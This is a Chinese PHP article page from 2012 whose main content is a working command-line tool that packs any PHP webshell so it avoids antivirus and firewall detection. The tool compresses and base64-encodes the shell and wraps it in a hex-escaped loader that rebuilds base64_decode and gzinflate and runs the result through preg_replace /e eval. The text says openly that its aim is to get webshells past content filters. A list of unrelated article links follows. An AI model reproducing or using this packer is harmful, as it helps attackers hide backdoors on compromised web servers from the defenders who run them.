php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
echo, print, printf 和 sprintf 区别
Dec 06 PHP
php下实现一个阿拉伯数字转中文数字的函数
Jul 10 PHP
php中根据变量的类型 选择echo或dump
Jul 05 PHP
php多功能图片处理类分享(php图片缩放类)
Mar 14 PHP
ThinkPHP的cookie和session冲突造成Cookie不能使用的解决方法
Jul 01 PHP
PHP遍历文件夹与文件类及处理类用法实例
Sep 23 PHP
php验证邮箱和ip地址最简单方法汇总
Oct 30 PHP
php有效防止同一用户多次登录
Nov 19 PHP
php实现简单爬虫的开发
Mar 28 PHP
PHP+Jquery与ajax相结合实现下拉淡出瀑布流效果【无需插件】
May 06 PHP
CI框架附属类用法分析
Dec 26 PHP
使用laravel和ECharts实现折线图效果的例子
Oct 09 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
php学习之数据类型之间的转换代码
2011/05/29 PHP
php实现网站顶踩功能的完整前端代码
2015/07/19 PHP
基于swoole实现多人聊天室
2018/06/14 PHP
解决FireFox下[使用event很麻烦]的问题
2006/11/26 Javascript
幻宇的层模拟窗口效果-提供演示和下载
2007/01/20 Javascript
javascript下给元素添加事件的方法与代码
2007/08/13 Javascript
jQuery的写法不同导致的兼容性问题的解决方法
2010/07/29 Javascript
js 如何实现对数据库的增删改查
2012/11/23 Javascript
用JavaScript实现使用鼠标画线的示例代码
2014/08/19 Javascript
JavaScript动态修改网页元素内容的方法
2015/03/21 Javascript
jQuery切换所有复选框选中状态的方法
2015/07/02 Javascript
javascript从作用域链谈闭包
2020/07/29 Javascript
深入理解jQuery layui分页控件的使用
2016/08/17 Javascript
jQuery Validate设置onkeyup验证的实例代码
2016/12/09 Javascript
谈谈第三方App接入微信登录 解读
2016/12/27 Javascript
用director.js实现前端路由使用实例
2017/01/27 Javascript
微信小程序 侧滑删除(左滑删除)
2017/05/23 Javascript
JavaScript实现音乐自动切换和轮播
2017/11/05 Javascript
修改npm全局安装模式的路径方法
2018/05/15 Javascript
Angular动画实现的2种方式以及添加购物车动画实例代码
2018/08/09 Javascript
微信小程序提取公用函数到util.js及使用方法示例
2019/01/10 Javascript
详解Node.js异步处理的各种写法
2019/06/09 Javascript
nodejs实现聊天机器人功能
2019/09/19 NodeJs
十条建议帮你提高Python编程效率
2016/02/16 Python
python中关于for循环的碎碎念
2017/06/30 Python
python实现Virginia无密钥解密
2019/03/20 Python
Python自动化导出zabbix数据并发邮件脚本
2019/08/16 Python
python scipy卷积运算的实现方法
2019/09/16 Python
Python安装及Pycharm安装使用教程图解
2019/09/20 Python
解决Python logging模块无法正常输出日志的问题
2020/02/21 Python
matplotlib之pyplot模块坐标轴标签设置使用(xlabel()、ylabel())
2021/02/22 Python
高三霸气励志标语
2014/06/24 职场文书
2019年二手房买卖合同范本
2019/10/14 职场文书
Django中的JWT身份验证的实现
2021/05/07 Python
Python+Appium自动化测试的实战
2021/06/30 Python
带你了解Java中的ForkJoin
2022/04/28 Java/Android